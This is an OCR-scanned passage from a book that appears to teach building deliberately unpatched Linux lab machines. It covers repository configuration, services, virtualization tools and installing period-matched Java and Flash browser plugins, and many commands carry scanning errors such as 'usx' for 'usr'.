gpgkey=file:///etc/pki/xpm-gpg/RPM-GPG-KEY-Cent0S-7

#ireleased updates

[updates]

name=Cent0S-$releasever - Updates
mirrorlist=http://mirrorlist.centos.org/?release=$releasever@arch=$basearch&repo=
updates

#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
gpgcheck=1

gpgkey=file:///etc/pki/xpm-gpg/RPM-GPG-KEY-Cent0S-7

These entries begin with a label that describes the repository, then a longer full name for the
repository. They continue with a mirror list and a commented-out line that describes the location
of the repository. The mirror list does exactly that: provides a mirror of the repository so that
different users end up at different repositories. These entries conclude with a flag indicating that
GPG should be used to verify packages and provide the location of the corresponding GPG key.

It is possible to disable a repository by using the setting enabled=0. However, there are many
repositories, spread over many files. A simpler solution is to remove or rename these files; if the
file extension is not " . repo", the file is not parsed by yum. Then add one or more new repository
files configured as desired.

To configure CentOS to download packages online from the original sources, create a new file
in /etc/yum.repos.d/, say /etc/yum.repos.d/online.repo. The file’s contents should be like the
following:

2Systems kept in their initial state without any security patches are quite insecure; they should not be
exposed on the Internet.
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[Online]

name = Online

baseurl = http://vault.centos.org/6.0/0s/x86_64/
gpgcheck=1

enabled=1
gpgkey=file:///etc/pki/xrpm-gpg/RPM-GPG-KEY-Cent0S-6

The URL http://vault.centos.org/6.0/0s/x86 64 shows the actual repository files. This
location varies for the version of CentOS and the architecture. For example, for a 32-bit version of
Cent0S 5.9, the base URL is http://vault.centos.org/5.9/0s/1386/, while the URL for a 64-bit
version of CentOS 7.0-1406 is http://vault.centos.org/7.0.1406/0s/x86 64/

The URL for currently supported versions of CentOS is not located at vault.centos.org, but
rather at mirror.centos.org; for example, today the appropriate repository for CentOS 7.4-1708
(which is the current version) is http://mirror.centos.org/centos-7/7/0s/x86_64/

It is also possible to use the installation media as the repository; this can be done with a
repository like

[c6-media]

name=Cent0S-$releasever - Media
baseurl=file:///media/Cent0S_6.0 Final/

gpgcheck=1

enabled=1
gpgkey=file:///etc/pki/xrpm-gpg/RPM-GPG-KEY-Cent0S-6

Once the repositories are chosen, validate the settings by enumerating the enabled
repositories

[root@sirius ~]# yum repolist
Loaded plugins: fastestmirror, refresh-packagekit
Loading mirror speeds from cached hostfile

repo id repo name status
Online Online 6,019
c6-media Cent0S-6 - Media 6,019

orepolist: 12,038
A further check shows that the repository has no packages to update.

[root@sirius ~]# yum check-update
Loaded plugins: fastestmirror, refresh-packagekit
Loading mirror speeds from cached hostfile

If yum is run before the repository list is updated, it may retain data from the initial run, and it
will insist packages need to be updated. Clear the cache with the command

[root@sirius ~]# yum clean all
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The command yum list available lists all available packages. To search for packages that
contain “php” in the name, run the command yum list available *php*. To search for the
string “php” in the description, summary, or package name, run the command yum search php.
To install a package along with its dependencies, use the command yum install packagename.
The command yum help shows the available commands.

Configuring zypper in OpenSuSE

On OpenSuSE systems, package management is handled by zypper. Configuration information
is kept in the directory /etc/zypp, and the collection of known repositories is kept in /etc/zypp/
repos.din files with the extension .repo. A typical repository file is /etc/zypp/repos.d/repo-
oss.repo from an OpenSuSE 12.3 system; it has the content

[repo-oss]

name=openSUSE-12.3-0ss

enabled=1

autorefresh=1
baseurl=http://download.opensuse.org/distribution/12.3/repo/oss/
path=/

type=yast2

keeppackages=0

Like the similar files on CentOS systems, this provides a label for the repository, a name for
the repository, a few flags, and the URL that points to the repository

OpenSuSE repository files typically contain only one repository per file. The various debug
and update repositories can be disabled by editing the corresponding file or changing the file
extension. The repository for the installation medium is usually named after the install disc; on an
OpenSuSE 42.2 system, that is the file /etc/zypp/repos.d/openSUSE-42.2-0.repo.

For older distributions, the baseurl for the repository is now no longer correct; it needs to be
modified to point to the proper subdirectory of https://ftp5.gwdg.de/pub/opensuse/discontinued/
distribution/. For example, on an OpenSuSE 13.1 system, the baseurl directive would be

baseurl=https://ftp5.gwdg.de/pub/opensuse/discontinued/distribution/13.1/repo/oss/
Once the repositories are selected, the list of available repositories can be checked.

menkent:/etc/zypp/repos.d # zypper repos

# | Alias | Name | Enabled | Refresh
T R e tomm e Hmmmmmm
1 | openSUSE-12.3-1.7 | openSUSE-12.3-1.7 | No | No
2 | repo-debug | openSUSE-12.3-Debug | No | No
3 | repo-debug-update | openSUSE-12.3-Update-Debug | No | No
4 | repo-debug-update-non | openSUSE-12.3-Update-Debug | No | No

-0SS -Non-0ss
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5 | repo-non-oss | openSUSE-12.3-Non-0ss | No | No
6 | repo-oss | openSUSE-12.3-0ss | Yes | Yes
7 | repo-source | openSUSE-12.3-Source | No | No
8 | repo-update | openSUSE-12.3-Update | No | No
9 | repo-update-non-oss | openSUSE-12.3-Update-Non-0Oss| No | No

It is possible to verify that no updates are pending.

menkent:/etc/zypp/repos.d # zypper list-updates
Loading repository data...

Reading installed packages...

No updates found.

The command zypper search findthis will list any packages with “findthis” in either
the package name or its description. To install a package along with its dependencies, use the
command zypper install packagename. To see the available commands, use zypper help.

Configuring apt in Ubuntu

In Ubuntu systems, package management is handled by apt; configuration information is kept

in the directory /etc/apt/ and the list of enabled repositories is in /etc/apt/sources.list.
Additional repositories can be included from files in /etc/apt/sources.list.d/. As an example
of the structure, the file /etc/apt/sources.list on an Ubuntu 16.10 system begins as follows.

jmaxwell@diomedes:~$ cat /etc/apt/sources.list
#deb cdrom:[Ubuntu 16.10 _Yakkety Yak - Release amd64 (20161012.2)]/ yakkety main
restricted

# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.

deb http://us.archive.ubuntu.com/ubuntu/ yakkety main restricted

# deb-src http://us.archive.ubuntu.com/ubuntu/ yakkety main restricted

## Major bug fix updates produced after the final release of the

## distribution.

#deb http://us.archive.ubuntu.com/ubuntu/ yakkety-updates main restricted

# deb-src http://us.archive.ubuntu.com/ubuntu/ yakkety-updates main restricted

... Output Deleted ...

The first (commented out) is the installation CD, while the first uncommented line is the
primary online repository at http://us.archive.ubuntu.com/ubuntu. Because Ubuntu 16.10 is
also named “Yakkety Yak,” the line indicates the version of Ubuntu. There are four repositories
athttp://us.archive.ubuntu.com/ubuntu for Ubuntu 16.10 (Yakkety Yak): they are main,
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which is for software supported by Canonical (the makers of Ubuntu); universe, which contains
community maintained open source software; restricted, which contains proprietary device
drivers; and multiverse, which contains non-free software. The other commented-out lines are
for source code and for software updates. Later lines in the file include security fixes and a variety
of other repositories. To keep the system in its initial state, these need to be commented out.

When an Ubuntu system is no longer supported, the location of the repositories changes
from http://us.archive.ubuntu.comto http://0ld-releases.ubuntu.com. The corresponding
/etc/apt/sources.list file on an Ubuntu 12.10 (Quantal Quetzal) system can be modified to
begin

gleibniz@cabe:/etc/apt$ cat sources.list
#deb cdrom:[Ubuntu 12.10 Quantal Quetzal - Release 1386 (20121017.2)]/ quantal
main restricted

# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
# newer versions of the distribution.
deb http://old-releases.ubuntu.com/ubuntu/ quantal main restricted universe

The name associated with an Ubuntu release can be found online or directly from the
command

gleibniz@cabe:/etc/apt$ 1lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu

Description: Ubuntu 12.10
Release: 12.10
Codename: quantal

Once changes are made to the list of repositories, run the command apt update to update
the list of repositories.

jmaxwell@diomedes:~$ sudo apt-get update

Hit:1 http://us.archive.ubuntu.com/ubuntu yakkety InRelease
Reading package lists... Done

Building dependency tree

Reading state information... Done

A1l packages are up to date.

Verify that no new updates are required by running

jmaxwell@diomedes:~$ sudo apt-get upgrade
Reading package lists... Done
Building dependency tree
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Reading state information... Done
Calculating upgrade... Done
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

The command apt-cache search findthis willlist any available package with “findthis”
in either the package name or in the package description. To install a package along with its
dependencies, use the command apt-get install packagename.Help on these commands is
provided by apt-get help or apt-cache help.

Older Ubuntu (and Mint) systems use the commands apt-get and apt-cache. In 2014, the
tool apt was released, which provides a more user-friendly interface to apt-get and apt-cache;
see https://mvogt.wordpress.com/2014/04/04/apt-1-0/ for details.

Configuring apt in Mint

The situation with Mint is similar, as it uses both apt/apt-get/apt-cache and the Ubuntu
repositories. Mint includes additional repositories for Mint specific software, and later versions of
Mint, like Mint 17 and Mint 18 put the location of the primary repositories in /etc/apt/sources.
list.d/official-package-repositories.list rather thanin /etc/apt/sources.list.If all but
the initial online repositories are disabled, some versions of Mint still require minor upgrades.

Configuring apt in Kali

Kali Linux is intended for use primarily as an attacking system, so it should be kept up to date
with the latest patches and tools. It also uses apt to manage packages. Because Kali uses apt to
distribute updates to many tools, most notably Metasploit, the commands apt update && apt
dist-upgrade should be regularly run.

The installation process for Kali asks the user if they want to use a network mirror for
additional software. If this is not selected, then the installation medium is the only source
included in /etc/apt/sources.list. To manually add a repository for the current rolling release
for Kali, add the following line to /etc/apt/sources.list

deb http://http.kali.org/kali kali-rolling main non-free contrib

Services

Older Linux systems use SysVInit or Upstart to manage services and scripts, while many recent
systems have replaced these with systemd. This means that the syntax to manage services varies
with the precise distribution. As an example, Table 1-1 shows the commands to control the sshd
service on systems running SysVInit, Upstart, and systemd.
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Table 1-1. Equivalency Between SysVInit/Upstart
Commands and systemd Commands

Sysvinit/Upstart systemd

service sshd start systemctl start sshd
service sshd stop systemctl stop sshd
service sshd status systemctl status sshd
chkconfig sshd on systemctl enable sshd
chkconfig sshd off systemctl disable sshd
chkconfig sshd systemctl is-enabled sshd

Virtualization Support

The process to provide virtualization support within the guest depends on whether the virtual
machine is running within VMWare Workstation or VirtualBox.

VMWare Tools

For most Linux systems, VMWare Tools is installed by the VMWare Workstation Easy Install
process; this is the case for CentOS, OpenSuSE, Ubuntu, and Mint systems.

The situation for Kali systems is more complex. Although the user can install the version of
VMWare tools that comes with VMWare, the Kali documentation® recommends using the open
source package open-vm-tools. This can be done (after running apt update and apt full-
upgrade) with the command

root@Kali-2016:~# apt install open-vm-tools fuse

VirtualBox Guest Additions

VirtualBox Guest Additions must be installed manually on most Linux distributions. Because it
requires special features in the system’s kernel, it may require the ability to compile software as
well as the headers for the running kernel.

*http://docs.kali.org/general-use/install-vmware-tools-kali-guest
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Installing VirtualBox Guest Additions on Cent0S

To install VirtualBox Guest Additions on CentOS, begin by installing the compiler and kernel
headers by running

[root@localhost ~]# yum groupinstall "development tools"

Some versions of CentOS (e.g., 6.0) include the kernel-devel package in the development
tools group, while others (e.g., 7.0-1406) do not. Install it if it is not present. Unmount any CD in
the guest, then navigate the VirtualBox main menu for the guest through Devices » Insert Guest
Additions CD. On some CentOS systems (e.g., 6.0), this will autorun the correct program; in
others (e.g., 5.11), it must be started manually. In the latter case, navigate to the location where
the Guest Additions CD is mounted* (/media/VBOXADDITIONS 5.0.30_112061/) and run the
installation script as root

[root@markab VBOXADDITIONS 5.0.30 112061]# sh VBoxLinuxAdditions.run

If the process completes without errors, then the installation is complete after the system
reboots.

Installing VirtualBox Guest Additions on OpenSuSE

The situation on OpenSuSE is somewhat simpler, as OpenSuSE includes a version of VirtualBox Guest
Additions that is installed by default. For example, on an OpenSuSE 13.2 Desktop installation, zypper
shows virtualbox-guest-kmp-desktop, virtualbox-guest-tools, and virtualbox-guest-x11 as installed:

marfikent:~ # zypper search virtualbox
Loading repository data...
Reading installed packages...

Summary

| |

+ +

| python-virtualbox | Python bindings for virtualbox

| virtualbox | VirtualBox is an Emulator

| virtualbox-devel | Devel files for virtualbox

| virtualbox-guest-desktop-icons | Icons for guest desktop files

| virtualbox-guest-kmp-default | Guest kernel modules for VirtualBox
| |
| |
| |
| |

i | virtualbox-guest-kmp-desktop Guest kernel modules for VirtualBox
virtualbox-guest-kmp-pae Guest kernel modules for VirtualBox

i | virtualbox-guest-tools VirtualBox guest tools

i | virtualbox-guest-x11 VirtualBox X11 drivers for mouse and

“The precise version depends on the version of VirtualBox.
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video
Host kernel module for VirtualBox
Host kernel module for VirtualBox
Host kernel module for VirtualBox
Qt QUI part for virtualbox
WebService GUI part for virtualbox

virtualbox-host-kmp-default
virtualbox-host-kmp-desktop
virtualbox-host-kmp-pae
virtualbox-qt
virtualbox-websrv

In some cases, these tools are incomplete. They are generally sufficient for graphics,
including seamless mode; they also provide a shared clipboard. They are sometimes insufficient
for dragging/dropping files to/from the host or for shared folders.

If desired, it is possible to recover the missing functionality by removing the open source
versions, installing the necessary compiler and kernel development tools, then installing the tools
provided by VirtualBox.

The open source software can be removed by running

marfikent:~ # zypper rm virtualbox-guest-kmp-desktop virtualbox-guest-tools
virtualbox-guest-x11

After rebooting, the required development tools are then installed with
marfikent:~ # zypper install gcc make kernel-devel
Load the VirtualBox Guest Additions CD, move to the correct directory,” and run

marfikent:/ # ed /run/media/egalois/VBOXADDITIONS_ 5.0.30_112061/
marfikent:/run/media/egalois/VBOXADDITIONS 5.0.30 112061 # sh VBoxLinuxAdditions.run

If the process completes without errors, then the installation is complete after the system
reboots.

Installing VirtualBox Guest Additions on Ubuntu, Mint, and Kali

On Ubuntu systems, VirtualBox Guest Additions can be installed without additional preparation
of the guest. Load the VirtualBox Guest Additions CD and follow the autorun prompts.

Mint systems are simpler still, as the default install includes an equivalent set of packages,
and so no additional work needs to be done beyond installing the operating system.

On a Kali system, the Kali documentation® recommends installing the open source toolset;
this can be done with the command.

root@kali-2016-2-u:~# apt install virtualbox-guest-xi1

°The precise path to the CD varies with the user. In the example, it is in /run/media/egalois, because the
user that mounted the CD was egalois.

http://docs.kali.org/general-use/kali-linux-virtual-box-guest
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Browser Software

A deployed system is more than just its operating system; just as important to the security of the
system is the collection of software installed on it. One of the most common uses of a Desktop
system is to browse the Internet. These Linux distributions ship with a version of Firefox. Active
web content is often displayed using either Java or Adobe Flash Player.

Installing Java on Cent0S

CentOS systems include OpenJDK rather than Oracle’s Java, and they do not include a plugin for
Firefox. Many versions of Oracle Java can be installed on CentOS, but it is most reasonable to choose
a Java version that was in common use at the same time as the operating system. For example,
CentOS 5.7 was released in September 2011, while Java 6 Update 27 was released in August 2011.

To install Java 6 Update 27 on a 32-bit CentOS 5.7 system, download the Java runtime
environment jre-6u27-1inux-1586-rpm.bin from the Oracle Archive’ at http://www.oracle.
com/technetwork/java/archive-139210.html, then runit.

[root@alnilam ~]# sh /media/sf_Downloads/jre-6u27-linux-i586-xpm.bin

This creates a Java .rpmin the current directory, then installs Oracle Java in the directory
/usr/java.
Although Oracle Java has been installed, Open]DK remains the default Java provider.

[root@alnilam ~]# which java

/usr/bin/java

[root@alnilam ~]# 1s -1 /usr/bin/java

Irwxrwxrwx 1 root root 22 Sep 25 2014 /usr/bin/java -> /etc/alternatives/java
[root@alnilam ~]# 1s -1 /etc/alternatives/java

lrwxrwxrwx 1 root root 39 Sep 25 2014 /etc/alternatives/java -> /usr/lib/jvm/
jre-1.6.0-openjdk/bin/java

Checking further, there are in fact two different versions of Java already installed.
[root@alnilam ~]# alternatives --config java

There are 2 programs which provide 'java'.

Selection Command

*+ 1 /usr/1ib/jvm/jre-1.6.0-openjdk/bin/java
2 /usr/1lib/jvm/jre-1.4.2-gcj/bin/java

Enter to keep the current selection[+], or type selection number:

"Registration is required to download.
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Since Oracle Java stores its binary in /usr/java/latest/bin/java; add it as an alternative
and set it as the default.

[root@alnilam ~]# alternatives --install /usr/bin/java java /usx/java/latest/bin/
java 3
[root@alnilam ~]# alternatives --config java

There are 3 programs which provide 'java'.

Selection Command

*+ 1 /usr/1lib/jvm/jre-1.6.0-openjdk/bin/java
/usr/lib/jvm/jre-1.4.2-gcj/bin/java
/usr/java/latest/bin/java

Enter to keep the current selection[+], or type selection number: 3

To install the Oracle Java Firefox plugin, provide a link to the Oracle Java library in the Firefox
plugin directory.

[root@alnilam ~]# 1n -s /usr/java/latest/lib/i386/1ibnpjp2.so/usr/lib/mozilla/
plugins

Close Firefox if it is open, start Firefox, then check that the plugin is installed by visiting
about:plugins. Verify that the plugin functions correctly by visiting one (or all) of these:

o http://java.com/en/download/installed.jsp®
o http://www.javatester.org/
o http://whatversion.net

The process for a 64-bit CentOS 6.5 system with Java 7 Update 45 is similar. Download the
64-bit . rpm for Java 7 Update 45, then install it. Unlike the case for Java 6, the package for Java 7 is
a.rpm, rather than an executable.

[root@alhena ~]# rxpm -ivh /media/sf_Downloads/jre-7u45-linux-x64.rpm
Check alternatives, and install Java as the default alternative in the same fashion as before.
[root@alhena ~]# alternatives --config java

There are 2 programs which provide 'java'.

8This may function poorly on older unsupported versions of Java.
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Selection Command
*+ 1 /usr/1lib/jvm/jre-1.7.0-openjdk.x86_64/bin/java
2 /usr/lib/jvm/jre-1.6.0-openjdk.x86_64/bin/java

Enter to keep the current selection[+], or type selection number:

[root@alhena ~]# alternatives --install /usr/bin/java java /usr/java/latest/bin/
java 3

[root@alhena ~]# alternatives --config java

There are 3 programs which provide 'java'.

Selection Command
*+ 1 /usr/1lib/jvm/jre-1.7.0-openjdk.x86_64/bin/java
/usr/1lib/jvm/jre-1.6.0-openjdk.x86_64/bin/java
/usr/java/latest/bin/java

Enter to keep the current selection[+], or type selection number: 3

The Firefox plugin is installed in the same fashion, save that on a 64-bit system, the library
and Firefox plugin directory are in slightly different locations.

[root@alhena ~]# 1ln -s /usx/java/latest/lib/amd64/libnpjp2.so /usr/1ib64/mozilla/
plugins

Restart Firefox; verify the plugin is installed and that it functions correctly.

The process to install Java 8 Update 11 on CentOS 7.0-1406 is essentially the same, with the
only notable difference being the fact that only one version of Open Java is installed by default,
rather than the two that were observed in CentOS 6.5.

Installing Adobe Flash Player on Cent0S

To install Adobe Flash Player on CentOS, begin by choosing an appropriate version. Between
2012 and 2016, development of Adobe Flash Player for Linux was held at version 11.2, adding only
security fixes.

To install Adobe Flash Player 10.3.183.5 (released August 2011) on a 32-bit CentOS 5.7
(released September 2011), begin by downloading the package from Adobe (https://helpx.
adobe.com/flash-player/kb/archived-flash-player-versions.html).

The downloaded archive file contains versions of Adobe Flash Player for a variety of
operating systems, including Windows, Linux, and Macintosh. Unpack the Linux plugin
file (flashplayer10 3r183 15 linux.tar.gz). From the unpacked directory, copy the file
libflashplayer.so to the Firefox plugin directory, then copy the files from . /usx/ to their proper
locations. On a 32-bit CentOS 5.7 system, the process is
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[root@alnilam ~]# mkdir flash

[root@alnilam ~]# cd flash

[root@alnilam flash]# tar -xzvf/media/sf_Downloads/fp_10.3.183.15_
archive/10_3r183_15/flashplayer10_3r183_15_linux.tar.gz
[root@alnilam flash]# 1s -1

total 12284

-IW-IwW-I-- 1 501 501 12550084 Feb 14 2012 libflashplayer.so
drwxrwxr-x 5 501 501 4096 Feb 14 2012 usr

[root@alnilam flash]# chown root:root ./libflashplayer.so
[root@alnilam flash]# cp ./libflashplayer.so /usr/lib/mozilla/plugins
[root@alnilam flash]# cp -x usx/* /usx/

Suppose instead the user wants to install Adobe Flash Player 11.2.202.336 (released February
2014) on a 64-bit CentOS 6.5 (released December 2013).

[root@alhena flash]# tar -xzvf /media/sf_Downloads/fp_11.2.202.336_
archive/11_2r202_336_64bit/flash-plugin-11.2.202.336-release.x86_64.tar.gz
[root@alhena flash]# chown root:root ./libflashplayer.so

[root@alhena flash]# cp ./libflashplayer.so /usr/1ib64/mozilla/plugins
[root@alhena flash]# cp -x usx/* /usx/

The process to install Adobe Flash 24 on CentOS 7.0-1406 is essentially the same. Download
the package, uncompress the result, and copy the files to their proper locations.

[root@enif flash]# tar -xzvf /media/sf_Downloads/flash_player npapi_linux.x86_64.
tar.gz

[root@enif flash]# chown root:root ./libflashplayer.so

[root@enif flash]# cp ./libflashplayer.so /usr/1ib64/mozilla/plugins/

[root@enif flash]# cp -r usx/* /usr/

In each case, when the installation is complete, restart Firefox. Visit the page about:plugins
to ensure the plugin was installed. To check that the plugin is running correctly, visit a page like

o https://www.adobe.com/software/flash/about/?

e http://whatversion.net

Installing Java on OpenSuSE

The installation of Java on OpenSuSE systems follows the same general lines, save it uses a
different tool name (update-alternatives rather than alternatives) and a different place to
store the plugin (/usr/lib/browser-plugins/ or /usr/1ib64/browser-plugins/).

°This may function poorly on older and now unsupported versions of Flash Player.
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Consider Java 6 Update 30 (released December 2011) on 64-bit OpenSuSE 12.1 (released
November 2011). Download the Java plugin binary and run it.

arcturus:~ # sh /media/sf_Downloads/jre-6u30-linux-x64-xpm.bin
Set Oracle Java as the default using update-alternatives

arcturus:~ # update-alternatives --config java

There is only one alternative in link group java: /usr/lib64/jvm/jre-1.6.0-
openjdk/bin/java

Nothing to configure.

arcturus:~ # update-alternatives --install /usr/bin/java java /usr/java/latest/
bin/java 2

arcturus:~ # update-alternatives --config java

There are 2 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority  Status

* 0 /usr/1ib64/jvm/jre-1.6.0-openjdk/bin/java 17105 auto mode
1 /usr/java/latest/bin/java 2 manual mode
2 /usr/1ib64/jvm/jre-1.6.0-openjdk/bin/java 17105 manual mode

Press enter to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/java/latest/bin/java to provide /usr/bin/java
(java) in manual mode.

Link the Java library to the Firefox plugins directory.
arcturus:~ # In -s /usr/java/latest/lib/amd64/libnpjp2.so /usr/1ib64/bxowser-plugins/

Restart Firefox, verify the plugin installed, and that it functions correctly.

The process on other versions of OpenSuSE and Java is similar. For example, a user can
install Java 7 Update 71 (released October 2014) on OpenSuSE 13.2 (released November 2014)
or Java 8 Update 111 (released October 2016) on OpenSuSE 42.2 (released November 2016). The
only change to the process is that Java 7 and Java 8 are released as native .rpm files rather than as
binaries; thus, the installation process begins with a command like

dschubba:~ # xpm -ivh /media/sf_Downloads/jre-8ulll-linux-x64.xpm

Installing Adobe Flash Player on OpenSuSE

To install Flash player on OpenSuSE, the process is the same as on a CentOS system, save for
the different location of the plugins directory. For example, to install Adobe Flash 11.2.202.418
(released November 2014) for 32-bit OpenSuSE 13.2 (released November 2014), a user can use
the commands
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merak:~/flash # tar -xzvf /media/sf_Downloads/fp_11.2.202.418_
archive/11_2r202_418_32bit/flashplayer_11_2r202_418_linux.i386.tar.gz
merak:~/flash # chown root:root ./libflashplayer.so

merak:~/flash # cp libflashplayer.so /usr/lib/browser-plugins/
merak:~/flash # cp -r usx/* /usx/

If the installation is instead Adobe Flash 11.1.102.55 (released November 2011) for 64-bit
OpenSuSE 12.1 (released November 2011), the process is

arcturus:~/flash # tar -xf /media/sf_Downloads/fp_11.1.102.55_archive/
11_1r102_55_64bit/flashplayerii_1r102_55_linux.x86_64.tar.gz
arcturus:~/flash # chown root:root ./libflashplayer.so
arcturus:~/flash # cp ./libflashplayer.so /usxr/1lib64/browsex-plugins/
arcturus:~/flash # cp -xr usx/* /usr/

Installing Java on Ubuntu

Installation of Java on Ubuntu is different, as it is not an . rpm based distribution, but rather a .deb
based one, and Oracle does not distribute Java in this format.

Consider Java 6 Update 26 (released June 2011) for Ubuntu 11.04 (released April 2011).
Download jre-6u26-1inux-1i586.bin from the Java Archive. When run, this will create the
directory jrel.6.0 26/ containing the files required for Java to run. This directory can be stored
anywhere in the file system, but a natural place is under /opt, which is the standard location for
add-on software.

enoether@procyon:~$ sudo sh /media/sf_downloads/jre-6u26-linux-i586.bin
enoether@procyon:~$ sudo mv ./jre1.6.0_26/ /opt

Create a link to the Java binary and a link for the plugin:

enoether@procyon:~$ sudo ln -s /opt/jre1.6.0_26/bin/java /usr/bin/java
enoether@procyon:~$ sudo 1n -s /opt/jre1.6.0_26/1ib/i386/1ibnpjp2.so /usr/1lib/
mozilla/plugins/

Restart Firefox, then verify the plugin is installed and functioning correctly.

The installation process for Java 7 Update 55 (released April 2014) on a 32-bit version of
Ubuntu 14.04 (released April 2014) is similar. The primary difference is that Java is distributed as
an archive rather than as a binary.

jmaxwell@lachesis:~$ sudo tar -xzvf /media/sf_Downloads/jre-7u55-linux-i586.tar.gz
jmaxwell@lachesis:~$ sudo mv ./jre1.7.0_55/ /opt

jmaxwell@lachesis:~$ sudo 1n -s /opt/jrei.7.0_55/bin/java /usr/bin/java
jmaxwell@lachesis:~$ sudo ln -s /opt/jrei.7.0_55/1ib/i386/1ibnpjp2.so /usr/lib/
mozilla/plugins/
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When installing Java 8 Update 111 (released October 2016) on a 64-bit version of Ubuntu
16.10 (released October 2016), the process must account for the variation in the names and
locations of Firefox plugin files.

jmaxwell@diomedes:~$ sudo tar -xzvf /media/sf_Downloads/jre-8u101-linux-x64.tar.gz
jmaxwell@diomedes:~$ sudo mv ./jre1.8.0_101/ /opt

jmaxwell@diomedes:~$ sudo ln -s /opt/ jrei.8.0_101/bin/java /usr/bin/java
jmaxwell@diomedes:~$ sudo 1ln -s /opt/jre1.8.0_101/1ib/amd64/libnpjp2.so /usr/lib/
firefox-addons/plugins/

Installing Adobe Flash Player on Ubuntu

To install Adobe Flash Player for Ubuntu 11.04 (released April 2011), download an appropriate
version, say 10.3.181.14 (released May 2011). Uncompress it, identify the plugin, give it the proper
ownership, and copy it to the Firefox plugin directory.

enoether@procyon:~$ mkdir flash

enoether@procyon:~$ cd flash/

enoether@procyon:~/flash$ sudo tar -xf /media/sf_downloads/fp_10.3.181.14
archive/10_3r181_14/flashplayer10_3ri81_14 linux.tar.gz
enoether@procyon:~/flash$ 1s -1

total 12252

-IW-I--r-- 1 1003 users 12537796 2011-05-05 19:27 libflashplayer.so
-IwW-r--r-- 1 1003 users 2009 2011-05-10 18:38 README

drwxr-xr-x 5 1003 users 4096 2011-05-05 19:27 usrt
enoether@procyon:~/flash$ sudo chown root:root ./libflashplayer.so
enoether@procyon:~/flash$ sudo cp ./libflashplayer.so /usr/lib/mozilla/plugins/
enoether@procyon:~/flash$ sudo cp -r usr/* /usr/

Restart Firefox, then verify the plugin is installed and functioning correctly.

The situation for other versions is similar. For example, to install Adobe Flash 11.2.202.356
(released April 2014) on a 32-bit Ubuntu 14.04 (released April 2014), download the package
from https://helpx.adobe.com/flash-player/kb/archived-flash-player-versions.html,
uncompress, then copy the files to their proper locations.

jmaxwell@lachesis:~/flash$ sudo tar -xzvf /media/sf_Downloads/fp_11.2.202.356_
archive/11_2r202_356_32bit/flashplayer_11_2r202_356_linux.i386.tar.gz
jmaxwell@lachesis:~/flash$ sudo chown root:root ./libflashplayer.so
jmaxwell@lachesis:~/flash$ sudo cp ./libflashplayer.so /usr/lib/mozilla/plugins/
jmaxwell@lachesis:~/flash$ sudo cp -x usx/* /usx/

If instead the user wants to install Adobe Flash 24 on Ubuntu 16.10, download the package
from http://labs.adobe.com/downloads/flashplayer.html, uncompress, and then copy the
files to their proper locations.
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jmaxwell@diomedes:~/flash$ sudo tar -xvf /media/sf_Downloads/flash_player npapi_
linux.x86_64.tar.gz

jmaxwell@diomedes:~/flash$ sudo chown root:root ./libflashplayer.so
jmaxwell@diomedes:~/flash$ sudo cp ./libflashplayer.so /usr/lib/firefox-addons/
plugins/

jmaxwell@diomedes:~/flash$ sudo cp -r usr/* /usr/

In either case, restart Firefox and verify that Adobe Flash is functioning in the same fashion as
CentOS or OpenSuSE.

Installing Java and Adobe Flash Player on Mint

Mint systems generally include a version of Java based on IcedTea that includes a properly
configured plugin for the Firefox web browser. Most, but not all, versions of Mint also include a
properly configured Adobe Flash Player installation, including a plugin for the browser.

These can be changed using the same techniques. Consider, for example, a 64-bit version of
Mint 15; a check shows that this includes OpenJDK version 7, Update 21.

cgauss@eskimo ~ $ apt show openjdk-7-jre
Package: openjdk-7-jre

State: installed

Automatically installed: no

Multi-Arch: same

Version: 7u21-2.3.9-1ubuntul

... Output Deleted ...

Suppose the user wishes to install a version of Oracle Java on Mint 15 (released May 2013);
one reasonable choice might be Java 7 Update 25 (released June 2013). Download the package
from http://www.oracle.com/technetwork/java/archive-139210.html. Since Mint, like
Ubuntu, is a Debian-based system, use the approach taken for Ubuntu systems.

cgauss@eskimo ~ $ sudo tar -xzvf /media/sf Downloads/jre-7u25-linux-x64.tar.gz
cgauss@eskimo ~ $ sudo mv ./jrei.7.0_25/ /opt/

Because Java already exists on the system, use update-alternatives to install the new
version of Java alongside the existing version.

cgauss@eskimo ~ $ sudo update-alternatives --config java

There is only one alternative in link group java (providing /usr/bin/java): /usr/
lib/jvm/java-7-openjdk-amd64/jre/bin/java

Nothing to configure.

cgauss@eskimo ~ $ sudo update-alternatives --install /usx/bin/java java /opt/
jre1.7.0_25/bin/java 2
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cgauss@eskimo ~ $ sudo update-alternatives --config java
There are 2 choices for the alternative java (providing /usr/bin/java).

Selection Path Priority  Status
* 0 /usr/1ib/jvm/java-7-openjdk-amd64/jre/bin/java 1071 auto mode
1 /opt/jre1.7.0_25/bin/java 2 manual mode
2 /usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java 1071 manual mode

Press enter to keep the current choice[*], or type selection number: 1
update-alternatives: using /opt/jre1.7.0 25/bin/java to provide /usr/bin/java
(java) in manual mode

With this complete, update the plugin for Firefox.

cgauss@eskimo ~ $ sudo 1n -s /opt/jre1.7.0_25/1ib/amd64/1ibnpjp2.so /usx/lib/
mozilla/plugins/

A check then shows that Firefox is using the newly installed Oracle Java.

Mint 18.1 systems do not include a version of Adobe Flash Player as part of the default install.
To install Adobe Flash 24 on such a system, the user proceeds in the same fashion as an
Ubuntu 16.10 system.

jmaxwell@aletheia ~ $ mkdixr flash

jmaxwell@aletheia ~ $ cd flash

jmaxwell@aletheia ~/flash $ sudo tar -xzvf /media/sf_Downloads/flash_player npapi_
linux.x86_64.tar.gz

jmaxwell@aletheia ~/flash $ sudo chown root:root ./libflashplayer.so
jmaxwell@aletheia ~/flash $ sudo cp ./libflashplayer.so /usr/lib/firefox-addons/
plugins/

jmaxwell@aletheia ~/flash $ sudo cp -r usr/* /usx/

A check of Firefox then shows that Adobe Flash Player is installed.

Building Windows Systems

Windows systems can be classified as desktop systems or server systems. During 2011 through
2017, Microsoft released Windows 7 Service Pack 1, Windows 8, Windows 8.1, and Windows 10 for
the desktop; they also released Windows Server 2008 R2, Windows Server 2012, Windows Server
